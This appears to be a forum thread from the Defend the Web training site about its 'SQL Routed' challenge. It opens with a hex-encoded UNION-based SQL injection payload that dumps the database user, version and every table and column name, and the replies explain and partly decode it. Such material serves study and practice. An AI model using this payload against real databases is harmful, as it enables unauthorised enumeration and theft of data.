SQL Routed | Defend the Web

testing935
6 years ago

0

In this SQL injection :

union select 1,0x2720756e696f6e2073656c65637420636f6e636174283078346536313664363532303361336132303561363536653363363237323365353537333635373232303361336132302c7573657228292c307833633632373233653434363232303361336132302c446174616261736528292c30783363363237323365353636353732373336393666366532303361336132302c76657273696f6e28292c307833633632373233652c6d616b655f73657428362c403a3d307830612c2873656c65637428312966726f6d28696e666f726d6174696f6e5f736368656d612e636f6c756d6e73297768657265287461626c655f736368656d61213d307836393665363636663732366436313734363936663665356637333633363836353664363129616e64403a3d6d616b655f736574283531312c402c307833633663363933652c7461626c655f6e616d652c636f6c756d6e5f6e616d6529292c4029292c3223–+

this :
0x2720….

What’s her encoding ?
How can I create an injection like this ?

Add me on hackthis

Or speak with me on IRC channel : https://www.hackthis.co.uk/irc/

Try to Ddos me, My ip : 127.0.0.1

Rex_Mundi
6 years ago

0

The 0x prefix tells you its encoded in hex.

testing935
6 years ago

0

thanks Rex_Mundi

Add me on hackthis

Or speak with me on IRC channel : https://www.hackthis.co.uk/irc/

Try to Ddos me, My ip : 127.0.0.1

vishnualora
6 years ago

0

union select 1,‘ union select concat(Name 3a3a Zen3c62723eUser :: ,user(),
Db :: ,Database(),
Version :: ,version(),0x3c62723e,make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where(table_schema!=information_schema)and@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)),2#–+

hex encoded